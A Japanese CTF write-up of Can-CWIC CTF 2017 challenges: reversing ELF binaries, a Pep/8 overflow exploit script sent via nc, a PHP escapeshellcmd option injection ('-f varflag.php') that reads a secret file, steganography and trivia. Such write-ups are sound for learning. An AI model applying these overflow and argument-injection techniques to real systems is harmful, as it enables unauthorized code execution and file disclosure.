チーム Harekaze で Can-CWIC CTF 2017 に参加しました。最終的にチームで 2127 点を獲得し、順位は得点 135 チーム中 4 位でした。うち、私は 23 問を解いて 1717 点を入れました。
以下、解いた問題の write-up です。
chkpass_pop
というファイルが与えられました。file
に投げてみましょう。
$ file chkpass_pop
chkpass_pop: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a7dc92efcf3967e6c8d67a7f53d030c9dc63c5b4, not stripped
x86_64 の ELF のようです。実行してみると、以下のようにパスワードの入力を求められました。
$ ./chkpass_pop
ROBOT NEEDS PASSWORD!
hoge
WRONG PASSWORD
どんな関数があるか調べてみましょう。
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x00000000000007b8 _init
0x00000000000007e0 putchar@plt
0x00000000000007f0 __errno_location@plt
0x0000000000000800 fread@plt
0x0000000000000810 printf@plt
0x0000000000000820 fputs@plt
0x0000000000000830 calloc@plt
0x0000000000000840 fprintf@plt
0x0000000000000850 exit@plt
0x0000000000000860 fwrite@plt
0x0000000000000880 main
...
0x0000000000001130 decode
0x0000000000001190 debug
0x00000000000011d0 run
0x0000000000001940 __libc_csu_init
0x00000000000019b0 __libc_csu_fini
0x00000000000019b4 _fini
decode
という関数が見つかりました。逆アセンブルしてみましょう。
gdb-peda$ pdisas decode
Dump of assembler code for function decode:
0x0000000000001130 <+0>: push r12
0x0000000000001132 <+2>: mov r12,rdi
0x0000000000001135 <+5>: movzx edi,BYTE PTR [rip+0x201f44] # 0x203080 <masked_flag>
0x000000000000113c <+12>: push rbp
0x000000000000113d <+13>: lea rbp,[rip+0x201f3c] # 0x203080 <masked_flag>
0x0000000000001144 <+20>: push rbx
0x0000000000001145 <+21>: lea rbx,[rip+0x201f74] # 0x2030c0 <mask>
0x000000000000114c <+28>: test dil,dil
0x000000000000114f <+31>: je 0x1175 <decode+69>
0x0000000000001151 <+33>: nop DWORD PTR [rax+0x0]
0x0000000000001158 <+40>: xor dil,BYTE PTR [rbx]
0x000000000000115b <+43>: add rbp,0x1
0x000000000000115f <+47>: add rbx,0x1
0x0000000000001163 <+51>: movsx edi,dil
0x0000000000001167 <+55>: call 0x7e0 <putchar@plt>
0x000000000000116c <+60>: movzx edi,BYTE PTR [rbp+0x0]
0x0000000000001170 <+64>: test dil,dil
0x0000000000001173 <+67>: jne 0x1158 <decode+40>
0x0000000000001175 <+69>: mov edi,0xa
0x000000000000117a <+74>: call 0x7e0 <putchar@plt>
0x000000000000117f <+79>: pop rbx
0x0000000000001180 <+80>: add WORD PTR [r12+0x8],0x1
0x0000000000001187 <+87>: pop rbp
0x0000000000001188 <+88>: pop r12
0x000000000000118a <+90>: ret
End of assembler dump.
masked_flag
と mask
を xor して putchar
で出力しています。decode
を呼んでみましょう。
gdb-peda$ b main
Breakpoint 1 at 0x880
gdb-peda$ r
gdb-peda$ jump *decode
Continuing at 0x555555555130.
FLAG{GRATZ_YOU_CAN_READ_ASSEMBLY!}
フラグが得られました。
FLAG{GRATZ_YOU_CAN_READ_ASSEMBLY!}
redef_fun
というファイルが与えられました。file
に投げてみましょう。
$ file redef_fun
redef_fun: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=eb1758b1b65f9c239ea70d4e804a759f26440c61, not stripped
x86_64 の ELF のようです。実行してみると、以下のように文字列が出力されるだけでした。
$ ./redef_fun
Class refinement is awesome. Reversing it isn't so much.
どんな関数があるか調べてみましょう。
gdb-peda$ info functions
All defined functions:
File /data/workspace/nit/lib/core/environ.nit:
void core__environ___CString_setenv___impl(char *, char *);
File /data/workspace/nit/lib/core/file.nit:
int core__file___CString_file_chdir___impl(char *);
int core__file___CString_file_delete___impl(char *);
int core__file___CString_file_exists___impl(char *);
struct stat *core__file___CString_file_lstat___impl(char *);
int core__file___CString_file_mkdir___impl(char *, long);
...
File redef_fun.main.1.c:
void fatal_exit(int);
void gc_finalize(void *, void *);
void initialize_nitni_global_refs();
int main(int, char **);
void nitni_global_ref_add(struct nitni_ref *);
void nitni_global_ref_decr(struct nitni_ref *);
void nitni_global_ref_incr(struct nitni_ref *);
void nitni_global_ref_remove(struct nitni_ref *);
void sig_handler(int);
static void show_backtrace(void);
File redef_fun.sep.1.c:
void redef_fun___core__Sys___main(val *);
void redef_fun___crypto__RepeatingKeyXorCipher___crypto__xor_ciphers__Cipher__decrypt(val *);
short redef_fun___crypto__RepeatingKeyXorCipher___do_legacy(val *);
void redef_fun___crypto__RepeatingKeyXorCipher___do_legacy_61d(val *, short);
redef_fun___crypto__RepeatingKeyXorCipher___crypto__xor_ciphers__Cipher__decrypt
という怪しげな関数があります。
ltrace
で実行してみましょう。
$ ltrace ./redef_fun 2>&1 | grep -v GC_malloc
signal(SIGABRT, 0x7fd9107732e0) = 0
signal(SIGFPE, 0x7fd9107732e0) = 0
signal(SIGILL, 0x7fd9107732e0) = 0
signal(SIGINT, 0x7fd9107732e0) = 0
signal(SIGTERM, 0x7fd9107732e0) = 0
signal(SIGSEGV, 0x7fd9107732e0) = 0
signal(SIGPIPE, 0x1) = 0
getenv("NIT_GC_OPTION") = nil
GC_init(0x7fd91080d677, 0x7ffec5880ea0, 8192, 1655) = 0
time(0) = 1507807824
srand(0x59df5250, 0x7ffec58808f0, 0, 3) = 0
memmove(0x7fd911254ff0, "NIT_SRAND", 9) = 0x7fd911254ff0
getenv("NIT_SRAND") = nil
memmove(0x7fd911254fe0, "", 0) = 0x7fd911254fe0
getenv("") = nil
memmove(0x7fd911254fa0, "p87s", 4) = 0x7fd911254fa0
memmove(0x7fd911254f90, "foa7sdo9f879n", 13) = 0x7fd911254f90
memmove(0x7fd911259d00, "p87s", 4) = 0x7fd911259d00
memmove(0x7fd911259d04, "foa7sdo9f879n", 13) = 0x7fd911259d04
memmove(0x7fd911259d11, "q", 1) = 0x7fd911259d11
setvbuf(0x7fd90fd952a0, 0, 2, 256) = 0
fwrite("Class refinement is awesome. Rev"..., 1, 56, 0x7fd90fd952a0Class refinement is awesome. Reversing it isn't so much.) = 56
fwrite("\n", 1, 1, 0x7fd90fd952a0
) = 1
fwrite("", 1, 0, 0x7fd90fd952a0) = 0
fwrite("\n", 1, 1, 0x7fd90fd952a0
) = 1
+++ exited (status 0) +++
怪しげな文字列が memmove
で作られています。strings
で foa7sdo9f879n
の周りにある文字列を探してみましょう。
$ strings -a ./redef_fun | grep -2 foa7sdo9f879n
367476341D262758060A0B6A1348524B4F5133545600154F1352150D015C0B5D594D4E1803184116141641541F010E57481879501A51194B1705031D181710080A58081617704E1D1F4E5253280615160E
p87s
foa7sdo9f879n
FATAL: Dead method executed.
(%s:%d)
怪しげな hex エンコードされた文字列が見つかりました。デコードして memmove
で作られていた文字列と xor してみましょう。
def xor(a, b):
res = ''
if len(a) < len(b):
a, b = b, a
for k, c in enumerate(a):
res += chr(ord(c) ^ ord(b[k % len(b)]))
return res
s = '367476341D262758060A0B6A1348524B4F5133545600154F1352150D015C0B5D594D4E1803184116141641541F010E57481879501A51194B1705031D181710080A58081617704E1D1F4E5253280615160E'.decode('hex')
t = 'p87sfoa7sdo9f879nq'
print xor(s, t)
$ python2 solve.py
FLAG{IFoundSuper! Class refinement is very clean. Nit is very clean. I love Nit!}
フラグが得られました。
FLAG{IFoundSuper! Class refinement is very clean. Nit is very clean. I love Nit!}
以下のようなテキストファイルが与えられました。
main: STRO msg,d
mainL: CALL read
CPX 0,i
BREQ mainF
CALL sum
BR mainL
mainF: STOP
;
msg: .ASCII "*********************************\n"
.ASCII "* Please enter lists of numbers.*\n"
.ASCII "* Each list is terminated by 0. *\n"
.ASCII "* The program ends when a list *\n"
.ASCII "* is empty (only has a 0). *\n"
.ASCII "* Example: 1 2 3 0 4 5 0 0. *\n"
.ASCII "********************************\n"
.ASCII "\x00"
tab: .BLOCK 200
tabsize: .EQUATE 200
;
; IN: nothing
; OUT: X=size of elements writen in tab
; A=value of the last element
read: LDX 0,i
readL: CPX tabsize,i
BRGT readE
DECI tab,x
LDA tab,x
BREQ readE
ADDX 2,i
BR readL
readE: NOP0
RET0
;
; IN: X=size of elements of tab
sum: LDA 0,i
sumL: CPX 0,i
BRLE sumF
SUBX 2,i
ADDA tab,x
BR sumL
sumF: STA tab,d
DECO tab,d
CHARO '\n',i
RET0
;
.ASCII "Don't look here, this is a secret place\x00"
flag: .ASCII "FLAG{REDACTED}\n\x00"
.END
何らかのアセンブリのようです。数値の入力を 101 回か 0 が入力されるまで行ってから、その合計値を出力するというような処理をしているようです。
CHARO
や DECO
、STRO
のような特徴的な命令でググってみると、これは Pep/8 のアセンブリであると分かりました。
Pep-8 Reference というチートシートを参考に調べていきましょう。
このアセンブリには数値の入力部分に脆弱性があり、100 回で止めるべきところを 101 回まで行えるようになっているため、tab
の直後にある 2 バイト (read: LDX 0,i
の部分) を書き換えることができてしまいます。
(100 個の適当な数値) 51455 0
を入力することで LDX 0,i
の先頭 2 バイトを C8 FF
にでき、この命令を LDX 0xff00,i
にしてしまうことができます。これによって DECI tab,x
(x
は オペランド + i
レジスタを意味する) が tab - 256
、つまりメモリの 1
以降に書き込まれるようになるため、より多くの命令を実行させることができそうです。
あとは flag
を STRO
で出力させる入力を作ってみましょう。
payload = []
payload.extend([0x1234] * (100 - len(payload)))
payload.append(0xC8ff) # LDX 0xff00, i
print ' '.join(str(x) for x in payload) + ' 0'
shellcode = 'ffffffffff410227' # ...; STRO 0x227, d
payload = []
for i in range(0, len(shellcode), 4):
payload.append(int(shellcode[i:i+4], 16))
print ' '.join(str(x) for x in payload) + ' 0'
$ python2 solve.py | nc 159.203.38.169 5684
*********************************
* Please enter lists of numbers.*
* Each list is terminated by 0. *
* The program ends when a list *
* is empty (only has a 0). *
* Example: 1 2 3 0 4 5 0 0. *
********************************
-6833
0
FLAG{I_D0nt_Th1k_S0m30n_PwN3d_Pep8_B3f0r}
フラグが得られました。
FLAG{I_D0nt_Th1k_S0m30n_PwN3d_Pep8_B3f0r}
与えられた URL にアクセスすると、入力したフォーマットで日時を出力してくれるサービスが表示されました。
ページの下部に Proudly coded with Vim the editor
とあったため、Vim のスワップファイルが生成されているのではと考えて /.index.php.swp
にアクセスするとファイルがダウンロードできました。
これを復元すると以下のようなコードが得られました。
...
<h1>
<?php
$cmd = 'date';
$fmt = isset($_GET['fmt'])?$_GET['fmt']:"";
if (isset($_GET['rfc'])) {
$cmd = $cmd . ' -R';
$rfcx = ' checked';
}
if ($fmt != "") {
$cmd = $cmd . ' +' . $fmt;
$fmtx = ' value="' . $fmt . '"';
}
$cmd = escapeshellcmd($cmd);
$res = system($cmd . " 2>&1");
include 'varflag.php';
if ($res === $date && strpos($fmt, 'easter') != false) {
echo "<b style='color:red'>$flag</b>";
}
?>
</h1>
...
入力したフォーマットは escapeshellarg
ではなく escapeshellcmd
を使ってエスケープされています。そのため、 -a hoge
のような入力をすることで好きなオプションを追加できます。
man date
を見ていると以下のようなオプションを見つけました。
-f, --file=DATEFILE
like --date once for each line of DATEFILE
これでファイルの読み込みができそうです。 -f varflag.php
を入力するとフラグが得られました。
date: invalid date '<?php'
date: invalid date '$date = "Sunday April 1st 2018. 2018-04-01";'
date: invalid date '$easy_flag = "FLAG{Want Love? Don\'t Date!}";'
date: invalid date '?>'
FLAG{Want Love? Don\'t Date!}
sudo.tgz
というファイルが与えられました。展開すると sudo.png
にフラグが書き込まれていました。
FLAG{archives_are_waaaaayyy_easier_than_sudokus}
暗めの青ばかりの画像が与えられました。以下のコードを実行するとフラグが得られました。
from PIL import Image
im = Image.open('beautiful_blue.png')
_, h = im.size
res = ''
for y in range(0, h, 10):
res += chr(im.getpixel((0, y))[2])
print res
FLAG{Such_a_beautiful_color}
以下のような内容のテキストファイルが与えられました。
a
- __- - /_\ / __- / / __- \ -_ _/ __-_ _- -- - __-_ _- _ \ - - - __- - _ \/_\_ _- -- -_ _/ _ \ - \- -_ _- _ \ \_/ /_\ - \- - /_\\ \
.
i
___ _ _ ___ _____ ___ ___ ___ _____ _ _ ___ _____ ___ _ _ ___ ___ _ _____ _ _ _____ ___ _ _ ___ _____ ___ _ _ _ __
.
+1a
| _|| |__ / _ \ (_ || || _|| |) \\\__ \ \\ __ | _| \\ / |_
| _|| |__ / _ \ (_ || || _|/ _` |_ | ' \/ _` | ' \|_| |_| ' \/ _` | ' \ / -_) _` || |_|| _|/ _` |_ | ' \/ _` | ' \|_| |_| ' \/ _` | ' \ /
| | _| | _/ _ \| | | __ | | || (_) || .` || || /\ / _ \| .` |/ _ \| |
\_\ .___. .___. .___. .___. .___. .___. /_/
.
# |_| |____/_/ \_\___|| ||___\__,_( ) |_|_|_\__,_|_||_(_) (_)_|_|_\__,_|_||_| \___\__,_|| | |_| |____/_/ \_\___|| ||___\__,_( ) |_|_|_\__,_|_||
/| __ |/a
._. .____/_/ \_\___.. ..___.___/_.___.___/_._. ._.._.___._._. ._._\\___/.___._._./_/ \_\_. ._.._._._. \___/_._.\_.___._._\ \_/_/ \_\_.\_/_/ \_\ .
.
4d
3,4j
2s/-/|/g
+2,$s/\./|/g
g/| _|/s/\\\\/| | |/g
Q
ed
のコマンドです。最後の Q
を ,p
に入れ替えて入力してみましょう。
$ ed
a
...
,p
___ _ _ ___ _____ ___ ___ ___ _____ _ _ ___ _____ ___ _ _ ___ ___ _ _____ _ _ _____ ___ _ _ ___ _____ ___ _ _ _ __
| __| | /_\ / __| / / __| \ |_ _/ __|_ _| || | __|_ _| _ \ | | | __| | _ \/_\_ _| || |_ _/ _ \ | \| |_ _| _ \ \_/ /_\ | \| | /_\\ \
| _|| |__ / _ \ (_ || || _|| |) | | |\__ \ | | | __ | _| | | | / |_| | _| | _/ _ \| | | __ | | || (_) || .` || || /\ / _ \| .` |/ _ \| |
|_| |____/_/ \_\___|| ||___|___/_|___|___/_|_| |_||_|___|_|_| |_|_\\___/|___|_|_|/_/ \_\_| |_||_|_|_| \___/_|_|\_|___|_|_\ \_/_/ \_\_|\_/_/ \_\ |
\_\ |___| |___| |___| |___| |___| |___| /_/
フラグが得られました。
FLAG{ED_IS_THE_TRUE_PATH_TO_NIRVANA}
なにか紙が積み上げられている様子の、白黒の写真の一部が与えられました。ファイル:Margaret Hamilton - restoration.jpg - Wikipedia の写真です。
FLAG{Margaret_Hamilton}
PROCEDURE DIVISION.
DISPLAY ‘Hello world!’.
COBOL です。
FLAG{Grace_Hopper}
with Text_To; use Text_To
procedure hello is
begin
put(“Hello World”);
end hello
Ada です。
FLAG{Ada_Lovelace}
‘Hello World!’ printNl !
Smalltalk です。
FLAG{Adele_Goldberg}
She started on a 8088 machine in 1988.
8088 machine in 1988
でググると Hackers: Under the hood | ZDNet という記事が見つかりました。
FLAG{Raven_Alder}
Yahoo と Google のロゴを合成した画像が与えられました。
Google - Wikipedia を Yahoo
で検索すると
In July 2012, Google’s first female engineer, Marissa Mayer, left Google to become Yahoo!’s CEO.
という一文が見つかりました。
FLAG{Marissa_Mayer}